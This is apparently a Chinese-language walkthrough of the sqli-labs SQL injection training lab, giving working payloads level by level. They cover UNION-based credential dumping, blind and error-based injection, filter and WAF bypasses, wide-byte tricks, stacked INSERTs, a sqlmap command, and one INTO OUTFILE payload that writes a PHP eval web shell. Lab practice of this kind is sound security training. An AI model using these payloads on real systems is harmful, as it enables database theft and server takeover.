SQL注入靶场sqli-labs
sql注入
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)
常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
- 4.1.2.2. Fuzz注入点
- ‘ / “
- 1/1
- 1/0
- and 1=1
- “ and “1”=”1
- and 1=2
- or 1=1
- or 1=
- ‘ and ‘1’=’1
- + - ^ * % /
- << >> || | & &&
- ~
- !
- @
- 反引号执行
4.1.2.3. 测试用常量
1 | @@version |
测试列数
1 | https://www.xxx.com/index.asp?id=12+union+select+null,null-- |
报错注入
1 | - select 1/0 |
基于geometric的报错注入
1 | - GeometryCollection((select * from (select * from(select user())a)b)) |
堆叠注入
原理
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是 任意的语句。 例如以下这个
例子
用户输入: 1; DELETE FROM products 服务器端生成的 sql 语句为:(因未对输入的参数进行过滤) Select * from products where productid=1;DELETE FROM products 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
宽字节注入
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字(前一个 ascii 码大于 128 才能到汉字的范围)。
我们在过滤 ’ 的时候,往往利用的思 路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路: 1、%df 吃掉 \ 具体的原因是 urlencode(‘\) = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。 2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass 的一种方法。
注释符
- –+
- /xxx/
- /!xxx/
- /!50000xxx/
判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
获取信息
- 判断数据库类型
- and exists (select * from msysobjects ) > 0 access数据库
- and exists (select * from sysobjects ) > 0 SQLServer数据库
- 判断数据库表
- and exsits (select * from admin)
- 版本、主机名、用户名、库名
- 表和字段
- 确定字段数
- Order By
- Select Into
- 表名、列名
- 确定字段数
测试权限
- 文件操作
- 读敏感文件
- 写shell
- 带外通道
- 网络请求
sqli-labs
less-1
基于错误的字符串/数字注入
判断注入点为数字注入
1 | ?id= -1 |
依次猜解字段数为3
1 | ?id= 1' order by 3 --+ |
联合构造回显位,-1是让前面为假
1 | ?id= -1' union select 1,2,3 --+ |
通过回显位查询用户名和数据库名
1 | ?id=-1' union select 1,user(),database() --+ |
查询所有库名
1 | ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ |
查询security数据库的所有表名
1 | ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security') ,3 --+ |
查询users表的所有列
1 | ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users') ,3 --+ |
查询用户名和密码
1 | ?id=-1' union select 1,(select group_concat(username) from security.users) ,(select group_concat(password) from security.users) --+ |
less-2
同 less1,是数值型注入不需要闭合
1 | ?id=-1 union select 1,(select group_concat(username) from security.users) ,(select group_concat(password) from security.users) |
less-3
源码
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
需要构造闭合 ')
1 | ?id=-1') UNION SELECT 1,(select group_concat(username) from security.users ),database() --+ |
less-4
源码
1 | $id = '"' . $id . '"'; |
由 "
引起的注入,构造闭合 ")
1 | ?id=-1") UNION SELECT 1,(select group_concat(username) from security.users ),database() --+ |
less-5
源码
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
由 '
引起注入,但是无回显
updatexml
- MySQL 5.1.5版本以上才支持该函数
- 返回的数据限制为32位,可以用substring函数进行数据位移偏转
- 对XML文档进行修改
- UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:XPath_string (Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值
写法
1
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
实例
1
?id=1' and (updatexml(1,concat(0x7e,(select substring(group_concat(password),1)from users),0x7e),1))--+
less-6
源码
1 | $id = '"'.$id.'"'; |
此处使用 "
闭合,正确返回Use outfile,错误返回You have an error in your SQL syntax
less-7
源码
1 | $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; |
依旧没有回显,闭合符号换成 '))
,使用into outfile
写入shell
1 | ?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "/var/www/html/Less-7/shell.php"--+ |
less-8
源码
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
基于布尔的盲注,由 '
引起的注入,正确回显You are in…,错误无回显
- 判断数据库长度
1 | ?id=1' and (length(database())) = 8 --+ #数库名长度=8 |
- 逐一猜解库名
1 | ?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+ |
1 | 逐一猜解... |
判断表长度
1
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5 --+
猜解表名
1
2?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+
逐一猜解...
less-9
源码
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
基于时间的盲注,由 '
引起的注入,但是正确和错误都回显一样
判断注入
1
?id=1'+and+if(1=1, sleep(5), null)+ --+
判断库名长度
1
?id=1' + and (length(database())) =8 + and + if(1=1,sleep(5),null) + --+
逐一猜解表名
1
?id=1' + and (ascii(substr(database(),1,1))) = 115 + and + if(1=1,sleep(3),null) + --+
less-10
源码
1 | $id = '"'.$id.'"'; |
和less-9一样只是闭合符号换成 "
less-11
源码
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
POST注入由 '
引起,注入语句由post提交
万能登录
1
uname=admin' or '1'='1' #&passwd=1
判断数列
1
uname=admin' order by 2 #&passwd=1
猜解库名
1
uname=-admin' union select 1,(select group_concat(schema_name) from information_schema.schemata)##&passwd=1
后面依次猜解
less-12
源码
1 | $uname='"'.$uname.'"'; |
和less-11一样只是闭合符号换成 ")
- 猜解库名
1
uname=-admin") union select 1,(select group_concat(schema_name) from information_schema.schemata)##&passwd=1
less-13
源码
1 | @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; |
由 ')
引起的注入,错误有回显,正确无回显
- payload
1
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=1
less-14
源码
1 | $uname='"'.$uname.'"'; |
与less-13一致,闭合符号换成"
-payload
1 | uname=1" and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=1 |
less-15
源码
1 | $sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
基于时间的POST盲注,无回显 由'
引起
payload
1
uname=1' or if(length(database())= 8,sleep(3),null) #&passwd=1
依次猜解
less-16
源码
1 | $uname='"'.$uname.'"'; |
与less-15一致,闭合符号换成 ")
less-17
源码
1 | @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; |
update报错注入,对passwd参数注入
payload
1
uname=admin & passwd=123' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
sqlmap注入
1
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs
- data:指定请求信息
- p:指定参数
- dbms:指定后端数据库
- threads:指定并发线程数
- method:指定请求方式
- flush-session:清除session
- fresh-queries:发起新的请求
- level 1:尝试POST和GET注入
- risk 1:仅测试常见用例
- technique E:仅测试报错注入方式
less-18
源码
1 | $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; |
抓包对ua进行注入
- payload
1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
less-19
对Referer进行注入,参数一致
less-20
对cookie进行注入,参数一致
less-21
对cookie进行注入,需要用base64编码对注入cookie编码
- payload
1
Cookie: uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE=%3d
less-22
同上闭合为 "
less-23
注释符被过滤
- payload
1
?id=-1' union select 1,(select group_concat(username,password ) from users),3 or '1' = '1
less-24
二次注入
在插入username的就直接把注入的payload插到数据库里,取出来时候造成注入
登录了admin’ or 1=1#这个账号 输入新密码admin
update的时候就把原先的admin’ or 1=1 #取出来拿到语句中了,所以密码都是admin了。
less-25
绕过系列
双写绕过
- payload
1
?id=1' anandd 1=1 --+
1
?id=-1' union select 1,database(),3 --+
less-25a
没有单引号闭合
- payload
1
?id=1 anandd 1=1 --+
1
?id=-1 union select 1,database() ,3--+
less-26
单引号闭合 过滤了 or,and , /* , – , # , 空格 , /
- payload
1
?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))oorr'
less-26a
加了个)闭合
- payload
1
?id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1
less-27
在上关的基础上过滤了union和select
- payload
1
?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1
less-27a
在27的基础上使用 “
- payload
1
id=100"unIon%a0SelEcT%a01,database(),3||"1
less-28
源码
1
2
3
4
5
6
7
8
9
10
11
12
13$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}过滤union+select和空格,可以使用双写/大小写,%a0绕过
payload
1
id=100')UNIOn%a0SELEct%a0(1),(user()),(3)||('1--+
less-28a
源码
1
2
3
4
5
6
7
8
9
10
11
12
13$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}在上一关的基础上取消了一些过滤
payload
1
?id=0')%A0UNION%A0SELECT%A0(1),(user()),(3)||('1--+
less-29
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - waf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
} - payload
1
?id=0' union select 1,user(),3--+
less-30
源码
1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
在上一关的基础上使用”闭合
payload
1
?id=-1" union select 1,user(),3--+
less-31
源码
1
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
在30关的基础上添加()
payload
1
?id=0") union select 1,user(),3||("--+
less-32
宽字节注入
源码
1
2
3
4
5
6
7
8
9
10
11
12$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}过滤单双引号和,\
payload
1
?id=0%df%27union select 1,user(),3--+
less-33
同上
less-34
源码
1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
在33的基础上改为post
payload
1
uname=admin%df' union select 1,user()#&passwd=admin&submit=Submit
less-35
源码
1
2
3
4
5
6
7function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";addslashes()转义,但是此处$id并没有被单引号包裹起来,所以直接注入
payload
1
?id=0 union select 1,user(),3
less-36
源码
1
2
3
4
5
6
7
8
9
10
11if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
}
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}mysql_real_escape_string转义sql语句中的一下字符:
\x00
\n
\r
‘
“
\x1apayload
1
?id=0%df%27 union select 1,user(),3 --+
less-37
源码
1
2
3
4
5$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";同上关一样,只是改为了POST
payload
1
uname=admin%df'union select 1,user()#&passwd=admin&submit=Submit
less-38
堆叠注入
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);payload
查询数据1
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
插入数据
需要知道当前表结构
1 | ?id=0';insert into users values(16,'test','test') --+ |
less-39
源码
1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
在上一关的基础上去掉’
payload
1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
less-40
源码
1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
在上一关的基础上增加’)
payload
1
?id=0') union select 1,user(),3 --+
less-41
源码
1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
在上一关的基础上去掉’)
payload
1
?id=0 union select 1,user(),3 --+
less-41
源码
1
2
3
4$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";$password没有被过滤,使用单引号闭合
payload
查询
1 | login_password=1'unioN select 1,user(),3 #&login_user=admin&mysubmit=Login |
插入
1 | login_password=1';insert into users values(17,'test','test') #&login_user=admin&mysubmit=Login |
less-43
源码
1
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
在上一关的基础上增加)
payload
1
login_password=1') unioN select 1,user(),3 #&login_user=admin&mysubmit=Login
less-44
在上关的基础上去掉)
less-45
在上关的基础上添加)
less-46
order by注入,不能使用union,使用报错注入
源码
1
$sql = "SELECT * FROM users ORDER BY $id";
payload
1 | ?sort=1 and(extractvalue(0x0a,concat(0x0a,(select database()))))--+ |
less-47
- 源码
1
$sql = "SELECT * FROM users ORDER BY '$id'";
在上一关的基础上增加一个’
less-48
源码
1
$sql = "SELECT * FROM users ORDER BY $id";
与46关的区别在于没有回显,盲注
payload
1
?sort=rand(ascii(left(database(),1))=115)
less-49
延时盲注
- payload
1
?sort=1'and (if(ascii(substr((select username from users where%20id=1),1,1))=100,sleep(5),0))--+
less-50
同46
less-51
同46,增加’闭合
Less-52
同41堆叠注入,不返回报错
Less-53
堆叠注入,不返回报错,闭合为’
less-54
得到库名,但是只有10次机会,10次之后表名和密码会随机更改
源码
1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
payload
挨个往下猜1
?id=0%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27%20--+
less-55
在上关的基础上以)闭合
less-56
在上关的基础上以’)闭合
less-57
同54
less-58
报错注入
- payload
1
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
less-59
在上关的基础上去掉’闭合
less-60
在58的基础上 使用’”)闭合
Less-61
‘))闭合
1 | ?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+ |
Less-62-65
基于时间的盲注